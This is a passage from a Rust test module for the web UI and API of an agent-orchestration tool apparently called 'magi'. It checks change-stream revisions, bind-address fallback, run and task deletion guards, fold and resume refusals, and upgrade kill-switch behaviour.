6530 assert!(js.headers.contains("content-type: text/javascript"));
6531 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
6532 }
6533
6534 #[test]
6535 fn review_rounds_label_a_distinct_verified_head() {
6536 assert!(APP_JS.contains("round.verified_head"));
6537 assert!(APP_JS.contains("verified HEAD"));
6538 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
6539 }
6540
6541 #[tokio::test]
6542 async fn the_change_stream_announces_the_current_revisions_on_connect() {
6543 let f = Fixture::start().await;
6544
6545 let mut socket = tokio::net::TcpStream::connect(f.addr)
6546 .await
6547 .expect("connect");
6548 socket
6549 .write_all(
6550 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
6551 )
6552 .await
6553 .expect("write request");
6554
6555 let mut seen = String::new();
6558 let mut buf = [0u8; 1024];
6559 while !seen.contains("event: change") {
6560 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
6561 .await
6562 .expect("the stream must speak within five seconds")
6563 .expect("read");
6564 assert!(read > 0, "the server closed the change stream: {seen}");
6565 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
6566 }
6567
6568 assert!(
6569 seen.to_lowercase()
6570 .contains("content-type: text/event-stream"),
6571 "the browser only reconnects automatically for a real SSE stream: {seen}"
6572 );
6573 let data = seen
6574 .lines()
6575 .find_map(|l| l.strip_prefix("data:"))
6576 .expect("a data line");
6577 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
6578 assert!(
6579 payload["queue_rev"].is_u64()
6580 && payload["runs_rev"].is_u64()
6581 && payload["questions_rev"].is_u64()
6582 && payload["talks_rev"].is_u64()
6583 && payload["loop_rev"].is_u64(),
6584 "the client needs one revision per store to know what to refetch, \
6585 and `talks_rev` is the only notification a standing talk gets - a \
6586 phone whose radio slept through a turn learns about it here, as \
6587 does one whose operator started the loop from another device: \
6588 {payload}"
6589 );
6590
6591 let health = f.get("/api/health").await.json();
6598 for key in [
6599 "queue_rev",
6600 "runs_rev",
6601 "questions_rev",
6602 "talks_rev",
6603 "loop_rev",
6604 ] {
6605 assert!(
6606 health[key].is_u64(),
6607 "health is the change stream's fallback and is missing `{key}`: {health}"
6608 );
6609 }
6610 }
6611
6612 #[tokio::test]
6613 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
6614 let f = Fixture::start().await;
6615 let before = f.get("/api/health").await.json()["talks_rev"]
6616 .as_u64()
6617 .expect("talks_rev");
6618
6619 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
6620 std::thread::sleep(Duration::from_millis(10));
6621 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
6622 on_disk.turns.push(crate::talk::Turn {
6623 who: crate::talk::Who::Operator,
6624 body: "a new turn".to_owned(),
6625 at: Timestamp::now(),
6626 attachments: Vec::new(),
6627 });
6628 f.talks().put(&mut on_disk).expect("record a turn");
6629
6630 let after = f.get("/api/health").await.json()["talks_rev"]
6631 .as_u64()
6632 .expect("talks_rev");
6633 assert_ne!(
6634 before, after,
6635 "a phone must be able to notice a talk's reply without polling every store"
6636 );
6637 }
6638
6639 #[test]
6640 fn bind_reads_back_from_the_spelling_the_cli_prints() {
6641 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
6645 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
6646 }
6647 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
6648 assert!("everywhere".parse::<Bind>().is_err());
6649 }
6650
6651 #[test]
6652 fn an_explicit_bind_address_is_taken_verbatim() {
6653 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
6654
6655 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
6656
6657 assert_eq!(addr, asked);
6658 assert!(
6659 warning.is_none(),
6660 "an operator who named an address gets no lecture"
6661 );
6662 }
6663
6664 #[test]
6665 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
6666 let (addr, warning) = resolve_bind(&Bind::Auto);
6667
6668 match addr {
6675 IpAddr::V4(ip) if is_tailnet(&ip) => {
6676 assert!(warning.is_none(), "a tailnet address needs no warning");
6677 }
6678 other => {
6679 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
6680 let warning = warning.expect("a fallback has to explain itself");
6681 assert!(
6682 warning.contains("127.0.0.1") && warning.contains("local-only"),
6683 "the warning says what happened and what it costs: {warning}"
6684 );
6685 }
6686 }
6687 }
6688
6689 #[test]
6690 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
6691 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
6695 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
6696 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
6697 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
6698 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
6699 }
6700
6701 #[test]
6702 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
6703 let ids = vec![
6704 "20260902-140501-aaaa".to_owned(),
6705 "20260902-140502-aabb".to_owned(),
6706 ];
6707
6708 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
6709 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
6710 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
6711
6712 assert_eq!(missing.status, StatusCode::NOT_FOUND);
6713 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
6714 assert_eq!(short, "20260902-140502-aabb");
6715 }
6716 #[tokio::test]
6717 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
6718 let fx = Fixture::start().await;
6724 let id = panel(
6725 &fx,
6726 "<img src=\"shot.png\">",
6727 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
6728 );
6729
6730 let doc = fx
6732 .get(&format!("/api/questions/{id}/panel/index.html"))
6733 .await;
6734 assert_eq!(doc.status, 200, "{}", doc.body);
6735 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
6736
6737 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
6738 assert_eq!(sibling.status, 200, "{}", sibling.body);
6739 assert_eq!(sibling.header("content-type"), Some("image/png"));
6740 assert_eq!(
6741 sibling.header("content-security-policy"),
6742 Some(PANEL_CSP),
6743 "the sibling route must carry the same policy as the asset route"
6744 );
6745
6746 assert_eq!(
6749 fx.head(&format!("/api/questions/{id}/panel")).await.status,
6750 200
6751 );
6752 }
6753
6754 #[test]
6755 fn runs_revision_moves_when_deleting_an_older_run() {
6756 let temp = TempDir::new().expect("tempdir");
6757 let runs = temp.path().join("runs");
6758 std::fs::create_dir_all(&runs).expect("create runs dir");
6759
6760 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
6761
6762 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
6763 std::thread::sleep(Duration::from_millis(10));
6764 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
6765
6766 let rev_before = runs_revision(&runs);
6767 assert!(rev_before > 0);
6768
6769 let old_dir = runs.join("20260901-100000-old1");
6770 std::fs::remove_dir_all(&old_dir).expect("remove old run");
6771
6772 let rev_after = runs_revision(&runs);
6773 assert_ne!(
6774 rev_before, rev_after,
6775 "deleting an older run must change the revision so other clients see the deletion"
6776 );
6777 }
6778
6779 fn write_state(runs: &FsPath, state: &RunState) {
6784 let dir = runs.join(&state.id);
6785 std::fs::create_dir_all(&dir).expect("run dir");
6786 std::fs::write(
6787 dir.join("run.json"),
6788 serde_json::to_string_pretty(state).expect("serialize run"),
6789 )
6790 .expect("write run.json");
6791 }
6792
6793 #[test]
6798 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
6799 let temp = TempDir::new().expect("tempdir");
6800 let runs = temp.path().join("runs");
6801 std::fs::create_dir_all(&runs).expect("create runs dir");
6802 let mut state = RunState::new(
6803 PathBuf::from("/repo/magi"),
6804 "main".to_owned(),
6805 "0123456789abcdef".to_owned(),
6806 "task".to_owned(),
6807 Config::default(),
6808 );
6809 state.id = "20260902-100000-c0de".to_owned();
6810 write_state(&runs, &state);
6811
6812 let rev_idle = runs_revision(&runs);
6813 std::thread::sleep(Duration::from_millis(10));
6814 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
6815 write_state(&runs, &state);
6816 let rev_started = runs_revision(&runs);
6817 assert_ne!(
6818 rev_idle, rev_started,
6819 "a seat starting must move the revision"
6820 );
6821
6822 std::thread::sleep(Duration::from_millis(10));
6823 state.seat_finished("judge-1");
6824 write_state(&runs, &state);
6825 let rev_finished = runs_revision(&runs);
6826 assert_ne!(
6827 rev_started, rev_finished,
6828 "and clearing it again must move the revision a second time"
6829 );
6830 }
6831
6832 #[tokio::test]
6833 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
6834 let fx = Fixture::start().await;
6835 let q = fx.queue();
6836
6837 let mut t1 = Task::new(
6839 "Task 1".to_owned(),
6840 "Instruction 1".to_owned(),
6841 PathBuf::from("/repo"),
6842 Source::Human,
6843 );
6844 let run_id = "20260901-000000-r111";
6845 t1.runs.push(run_id.to_owned());
6846 write_run(&fx.runs(), run_id, RunStatus::Merged);
6847 q.put(&mut t1).expect("put t1");
6848
6849 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
6851 assert_eq!(res.status, 204);
6852 assert!(res.body.is_empty(), "204 No Content has no body");
6853 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
6854 assert!(
6855 fx.runs().join(run_id).exists(),
6856 "run directory must not be deleted when its task is deleted"
6857 );
6858
6859 let mut t2 = Task::new(
6861 "Task 2".to_owned(),
6862 "Instruction 2".to_owned(),
6863 PathBuf::from("/repo"),
6864 Source::Human,
6865 );
6866 t2.status = TaskStatus::Running;
6867 q.put(&mut t2).expect("put t2");
6868 let mut beat = crate::daemon::Status::new();
6869 beat.current = vec![crate::daemon::Current {
6870 task: t2.id.clone(),
6871 run: "20260901-000000-r222".to_owned(),
6872 }];
6873 beat.updated_at = jiff::Timestamp::now();
6874 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6875 .expect("publish a heartbeat");
6876 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6877 assert_eq!(res.status, 409);
6878 assert!(
6879 res.json()["error"]
6880 .as_str()
6881 .unwrap()
6882 .contains("live daemon")
6883 );
6884 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6885
6886 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6892 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6893 .expect("leave a stale heartbeat");
6894 let mut t3 = Task::new(
6895 "Task 3".to_owned(),
6896 "Instruction 3".to_owned(),
6897 PathBuf::from("/repo"),
6898 Source::Human,
6899 );
6900 t3.status = TaskStatus::Running;
6901 q.put(&mut t3).expect("put t3");
6902 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6903 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6904 assert_eq!(res.status, 204);
6905 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6906 assert!(
6907 q.claim(&t3.id).is_ok(),
6908 "the stale lock went with it, so the id is claimable again"
6909 );
6910
6911 let res = fx.delete("/api/queue/nonexistent").await;
6913 assert_eq!(res.status, 404);
6914 }
6915
6916 #[tokio::test]
6917 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6918 let fx = Fixture::start().await;
6919 let runs = fx.runs();
6920
6921 let run_id = "20260901-000000-fold";
6923 let mut state = RunState::new(
6924 PathBuf::from("/repo"),
6925 "main".to_owned(),
6926 "abc".to_owned(),
6927 "instruction".to_owned(),
6928 Config::default(),
6929 );
6930 state.id = run_id.to_owned();
6931 state.status = RunStatus::Merged;
6932 state.candidates.push(crate::run::Candidate {
6933 index: 0,
6934 label: 'A',
6935 agent: "a".to_owned(),
6936 branch: "b".to_owned(),
6937 worktree: PathBuf::from("/w"),
6938 summary: String::new(),
6939 stat: String::new(),
6940 files: 1,
6941 commits: 1,
6942 empty: false,
6943 failed: None,
6944 duration_ms: 0,
6945 folded: true,
6946 });
6947 let dir = runs.join(run_id);
6948 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6949 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6950 .expect("write artifact");
6951 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6952 .expect("write run.json");
6953
6954 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6956 assert_eq!(res.status, 204);
6957 assert!(res.body.is_empty(), "204 has no body");
6958 assert!(!dir.exists(), "run directory and artifacts must be deleted");
6959
6960 let run_running = "20260901-000000-rung";
6965 write_run(&runs, run_running, RunStatus::Prep);
6966 let mut beat = crate::daemon::Status::new();
6967 beat.current = vec![crate::daemon::Current {
6968 task: "20260901-000000-task".to_owned(),
6969 run: run_running.to_owned(),
6970 }];
6971 beat.updated_at = jiff::Timestamp::now();
6972 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6973 .expect("publish a heartbeat");
6974 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6975 assert_eq!(res.status, 409);
6976 assert!(
6977 res.json()["error"]
6978 .as_str()
6979 .unwrap()
6980 .contains("live daemon"),
6981 "the refusal must say who is holding it"
6982 );
6983 assert!(
6984 runs.join(run_running).exists(),
6985 "a run in flight keeps its directory"
6986 );
6987
6988 let run_unfolded = "20260901-000000-unfd";
6990 let mut state2 = RunState::new(
6991 PathBuf::from("/repo"),
6992 "main".to_owned(),
6993 "abc".to_owned(),
6994 "instruction".to_owned(),
6995 Config::default(),
6996 );
6997 state2.id = run_unfolded.to_owned();
6998 state2.status = RunStatus::Ready;
6999 state2.candidates.push(crate::run::Candidate {
7000 index: 0,
7001 label: 'A',
7002 agent: "a".to_owned(),
7003 branch: "b".to_owned(),
7004 worktree: PathBuf::from("/w"),
7005 summary: String::new(),
7006 stat: String::new(),
7007 files: 1,
7008 commits: 1,
7009 empty: false,
7010 failed: None,
7011 duration_ms: 0,
7012 folded: false,
7013 });
7014 let dir2 = runs.join(run_unfolded);
7015 std::fs::create_dir_all(&dir2).expect("create dir2");
7016 std::fs::write(
7017 dir2.join("run.json"),
7018 serde_json::to_string(&state2).unwrap(),
7019 )
7020 .expect("write run.json");
7021
7022 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7023 assert_eq!(res.status, 409);
7024 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7025 assert!(dir2.exists(), "unfolded run directory is kept");
7026
7027 let res = fx.delete("/api/runs/nonexistent").await;
7029 assert_eq!(res.status, 404);
7030 }
7031
7032 #[test]
7033 fn web_ui_delete_contract_in_front_end() {
7034 assert!(APP_JS.contains("deleteRun:"));
7036 assert!(APP_JS.contains("deleteTask:"));
7037
7038 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7040 ..APP_JS.find("function renderRuns").unwrap()];
7041 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7042
7043 assert!(APP_JS.contains("renderRunDelete"));
7045 assert!(APP_JS.contains("runDeleteReason"));
7046 assert!(APP_JS.contains("magi fold"));
7047 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7048
7049 assert!(APP_JS.contains("cancel.focus"));
7051 assert!(APP_JS.contains("armedRunDelete"));
7052 assert!(APP_JS.contains("armedDelete"));
7053
7054 assert!(APP_JS.contains("disabled: status === \"running\""));
7056 }
7057
7058 #[test]
7078 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7079 let build = APP_JS
7080 .find("function createRunCard")
7081 .expect("createRunCard exists");
7082 let update = APP_JS
7083 .find("function updateRunCard")
7084 .expect("updateRunCard exists");
7085 let end = APP_JS
7086 .find("function renderRuns")
7087 .expect("renderRuns exists");
7088
7089 let builder = &APP_JS[build..update];
7091 let open = builder.find("refs = {").expect("createRunCard sets refs");
7092 let literal = &builder[open + "refs = {".len()..];
7093 let close = literal.find('}').expect("the refs literal is closed");
7094 let published: HashSet<&str> = literal[..close]
7095 .split(',')
7096 .filter_map(|entry| entry.split(':').next())
7098 .map(str::trim)
7099 .filter(|name| !name.is_empty())
7100 .collect();
7101 assert!(
7102 published.len() > 5,
7103 "the refs literal did not parse into names: {published:?}"
7104 );
7105
7106 let mut used: Vec<&str> = Vec::new();
7109 let updaters = &APP_JS[update..end];
7110 for (at, _) in updaters.match_indices("r.") {
7111 let before = updaters[..at].chars().next_back();
7114 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7115 continue;
7116 }
7117 let rest = &updaters[at + 2..];
7118 let len = rest
7119 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7120 .unwrap_or(rest.len());
7121 if len > 0 {
7122 used.push(&rest[..len]);
7123 }
7124 }
7125 assert!(
7126 used.len() > 5,
7127 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7128 );
7129
7130 let missing: Vec<&str> = used
7131 .iter()
7132 .copied()
7133 .filter(|name| !published.contains(name))
7134 .collect();
7135 assert!(
7136 missing.is_empty(),
7137 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7138 never put in `refs` - every card will throw and the list will \
7139 render empty under a count line that says otherwise. Published: \
7140 {published:?}"
7141 );
7142 }
7143
7144 #[tokio::test]
7145 async fn folding_from_the_phone_reports_what_it_removed() {
7146 let fx = Fixture::start().await;
7147 let runs = fx.runs();
7148
7149 let id = "20260901-000000-fold";
7153 write_run(&runs, id, RunStatus::Stalled);
7154 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7155 assert_eq!(res.status, 200);
7156 assert_eq!(res.json()["removed_count"], 0);
7157 assert_eq!(res.json()["run"], id);
7158 assert!(
7159 runs.join(id).exists(),
7160 "a fold keeps the run's record; only the worktrees go"
7161 );
7162 }
7163
7164 #[tokio::test]
7165 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7166 let fx = Fixture::start().await;
7167 let runs = fx.runs();
7168 let wt = fx.home.path().join("wt").join("magi").join("dead");
7169 let id = "20260901-000000-dead";
7170 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7171 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7172 std::fs::create_dir_all(&wt).expect("worktree dir");
7173
7174 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7175 assert_eq!(res.status, 200, "{}", res.body);
7176 assert!(
7177 res.json()["removed_count"].as_u64().unwrap() > 0,
7178 "the worktree this build could not read a state for still went"
7179 );
7180 assert!(
7181 !runs.join(id).exists(),
7182 "an unreadable run has no candidate list to fold selectively, so \
7183 the whole record goes - same as `magi fold` on the CLI"
7184 );
7185 }
7186
7187 #[tokio::test]
7188 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7189 let fx = Fixture::start().await;
7190 let runs = fx.runs();
7191 let wt = fx.home.path().join("wt").join("magi").join("gone");
7192 let id = "20260901-000000-gone";
7193 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7194 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7195 std::fs::create_dir_all(&wt).expect("worktree dir");
7196
7197 let res = fx.delete(&format!("/api/runs/{id}")).await;
7198 assert_eq!(res.status, 204, "{}", res.body);
7199 assert!(!runs.join(id).exists(), "the broken record is gone");
7200 assert!(!wt.exists(), "its worktree is gone too");
7201 }
7202
7203 #[tokio::test]
7204 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7205 let fx = Fixture::start().await;
7206 let runs = fx.runs();
7207 let id = "20260901-000000-live";
7208 write_run(&runs, id, RunStatus::Implementing);
7209
7210 let mut beat = crate::daemon::Status::new();
7211 beat.current = vec![crate::daemon::Current {
7212 task: "20260901-000000-task".to_owned(),
7213 run: id.to_owned(),
7214 }];
7215 beat.updated_at = jiff::Timestamp::now();
7216 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7217 .expect("publish a heartbeat");
7218
7219 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7220 assert_eq!(res.status, 409);
7221 assert!(
7222 res.json()["error"]
7223 .as_str()
7224 .unwrap()
7225 .contains("live daemon"),
7226 "folding under a running agent would pull its worktree away"
7227 );
7228 }
7229
7230 #[tokio::test]
7231 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7232 let fx = Fixture::start().await;
7233 let runs = fx.runs();
7234
7235 for (status, word) in [
7241 (RunStatus::Merged, "merged"),
7242 (RunStatus::Ready, "ready"),
7243 (RunStatus::Failed, "failed"),
7244 ] {
7245 let id = format!("20260901-000000-{}", &word[..4]);
7246 write_run(&runs, &id, status);
7247 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7248 assert_eq!(res.status, 409, "{word} must not be resumable");
7249 let err = res.json()["error"].as_str().unwrap().to_owned();
7250 assert!(err.contains(word), "the refusal names the status: {err}");
7251 }
7252
7253 let mid = "20260901-000000-midf";
7258 write_run(&runs, mid, RunStatus::Reviewing);
7259 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7260 assert_eq!(res.status, 202, "an interrupted run is resumable");
7261 }
7262
7263 #[tokio::test]
7264 async fn resume_is_refused_while_the_loop_is_running() {
7265 let fx = Fixture::start().await;
7266 let runs = fx.runs();
7267 let stalled = "20260901-000000-stal";
7268 write_run(&runs, stalled, RunStatus::Stalled);
7269
7270 let mut beat = crate::daemon::Status::new();
7274 beat.current = vec![crate::daemon::Current {
7275 task: "20260901-000000-task".to_owned(),
7276 run: "20260901-000000-othr".to_owned(),
7277 }];
7278 beat.updated_at = jiff::Timestamp::now();
7279 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7280 .expect("publish a heartbeat");
7281
7282 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7283 assert_eq!(res.status, 409);
7284 let err = res.json()["error"].as_str().unwrap().to_owned();
7285 assert!(err.contains("othr"), "it names what the loop is on: {err}");
7286 assert!(err.contains("stop it first"), "{err}");
7287 }
7288
7289 #[test]
7290 fn a_run_cannot_be_resumed_twice_at_once() {
7291 let home = TempDir::new().expect("temp home");
7292 let ui = Ui::new(
7293 Queue::at(home.path().join("queue")),
7294 Questions::at(home.path().join("questions")),
7295 Talks::at(home.path().join("talks")),
7296 home.path().join("runs"),
7297 home.path().to_path_buf(),
7298 PathBuf::from("/repo"),
7299 )
7300 .with_worktrees_root(home.path().join("wt"));
7301 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
7302 let again = ui.begin_resume("20260901-000000-once");
7303 assert!(again.is_err(), "a second tap must not start a second graph");
7304 drop(first);
7305 assert!(
7306 ui.begin_resume("20260901-000000-once").is_ok(),
7307 "and the claim is released when the attempt ends"
7308 );
7309 }
7310
7311 #[test]
7312 fn talk_thinking_tracks_only_its_held_turn_claim() {
7313 let home = TempDir::new().expect("temp home");
7314 let ui = Ui::new(
7315 Queue::at(home.path().join("queue")),
7316 Questions::at(home.path().join("questions")),
7317 Talks::at(home.path().join("talks")),
7318 home.path().join("runs"),
7319 home.path().to_path_buf(),
7320 PathBuf::from("/repo"),
7321 )
7322 .with_worktrees_root(home.path().join("wt"));
7323 let id = "20260901-000000-once";
7324
7325 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
7326 let turn = ui.begin_talk_turn(id).expect("claim turn");
7327 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
7328 assert!(
7329 !ui.is_thinking("20260901-000000-other"),
7330 "one talk's turn does not make another talk busy"
7331 );
7332 drop(turn);
7333 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
7334 }
7335
7336 #[tokio::test]
7337 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
7338 let fx = Fixture::start().await;
7339 let mut beat = crate::daemon::Status::new();
7343 beat.pid = 4321;
7344 beat.updated_at = jiff::Timestamp::now();
7345 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7346 .expect("publish a heartbeat");
7347
7348 let res = fx.post("/api/upgrade", None).await;
7349 assert_eq!(res.status, 409);
7350 let err = res.json()["error"].as_str().unwrap().to_owned();
7351 assert!(err.contains("4321"), "the refusal names the owner: {err}");
7352 assert!(err.contains("old one against the same queue"), "{err}");
7353 }
7354
7355 #[test]
7362 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
7363 assert!(!should_spawn_recheck(&crate::config::Update {
7364 mode: UpdateMode::Off,
7365 interval: None,
7366 }));
7367
7368 unsafe {
7371 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7372 }
7373 let killed = should_spawn_recheck(&crate::config::Update {
7374 mode: UpdateMode::Notify,
7375 interval: None,
7376 });
7377 unsafe {
7378 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7379 }
7380 assert!(
7381 !killed,
7382 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
7383 one-time startup check"
7384 );
7385
7386 assert!(should_spawn_recheck(&crate::config::Update {
7387 mode: UpdateMode::Notify,
7388 interval: None,
7389 }));
7390 }
7391
7392 #[test]
7398 fn recheck_poll_period_tracks_a_short_configured_interval() {
7399 let short = crate::config::Update {
7400 mode: UpdateMode::Notify,
7401 interval: Some("1m".to_owned()),
7402 };
7403 let period = recheck_poll_period(&short);
7404 assert!(
7405 period <= Duration::from_secs(30),
7406 "a one-minute interval must wake the task far sooner than the \
7407 default ceiling, or the deck would not notice within the \
7408 interval the operator configured: got {period:?}"
7409 );
7410
7411 let default = crate::config::Update {
7412 mode: UpdateMode::Notify,
7413 interval: None,
7414 };
7415 assert_eq!(
7416 recheck_poll_period(&default),
7417 UPDATE_RECHECK_POLL_MAX,
7418 "the default day-long interval should poll at the (capped) \
7419 ceiling rather than needlessly often"
7420 );
7421 }
7422
7423 #[test]
7431 fn recheck_skips_the_network_before_the_interval_elapses() {
7432 let dir = TempDir::new().expect("temp dir");
7433 let path = dir.path().join("state.json");
7434 let state = kaishin::UpdateCheckState {
7435 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
7436 last_known_latest: None,
7437 last_known_url: None,
7438 };
7439 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
7440
7441 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
7442 assert!(
7443 !update_recheck_due(&checker, None),
7444 "a check made moments ago must not be repeated before the \
7445 configured interval elapses"
7446 );
7447 }
7448
7449 #[test]
7455 fn recheck_defers_to_an_upgrade_already_in_flight() {
7456 let dir = TempDir::new().expect("temp dir");
7457 let path = dir.path().join("state.json");
7458 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
7459 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
7460
7461 assert!(
7462 !update_recheck_due(&checker, Some(&progress)),
7463 "a recheck must not run while an upgrade this deck started is \
7464 still moving"
7465 );
7466 }
7467
7468 #[tokio::test]
7469 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
7470 unsafe {
7482 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
7483 }
7484 let fx = Fixture::start().await;
7485 let res = fx.post("/api/upgrade", None).await;
7486 unsafe {
7487 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
7488 }
7489 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7490 let body = res.json();
7491 assert!(body["to"].is_null(), "there was no release to move to");
7492 assert!(body["parked"].is_null(), "and nothing was parked");
7493 assert!(
7494 body["detail"]
7495 .as_str()
7496 .unwrap()
7497 .contains("disabled by MAGI_NO_AUTOUPDATE"),
7498 "{body:?}"
7499 );
7500 }
7501
7502 #[tokio::test]
7503 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
7504 let repo = TempDir::new().expect("repo dir");
7520 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7521 .expect("write magi.toml");
7522 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7523
7524 let res = fx.post("/api/upgrade", None).await;
7530 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
7531 let body = res.json();
7532 assert!(body["to"].is_null(), "there was no release to move to");
7533 assert!(body["parked"].is_null(), "and nothing was parked");
7534 assert!(
7535 body["detail"]
7536 .as_str()
7537 .unwrap()
7538 .contains("nothing restarted"),
7539 "{body:?}"
7540 );
7541 }
7542
7543 #[tokio::test]
7544 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
7545 let repo = TempDir::new().expect("repo dir");
7550 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
7551 .expect("write magi.toml");
7552 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
7553
7554 let health = fx.get("/api/health").await.json();
7555 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
7556 assert_eq!(
7557 health["update"]["available"], false,
7558 "checking is off, which reads as \"unknown\", not \"none\""
7559 );
7560 assert!(health["update"]["to"].is_null());
7561 assert!(
7562 health["upgrade"].is_null(),
7563 "nothing has ever asked this deck to upgrade"
7564 );
7565 }
7566
7567 #[tokio::test]
7568 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
7569 let fx = Fixture::start().await;
7570 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
7571
7572 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7573 progress.parked_run = Some("20260905-000000-cd51".to_owned());
7574 progress.advance(crate::updater::Stage::Parking);
7575 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7576
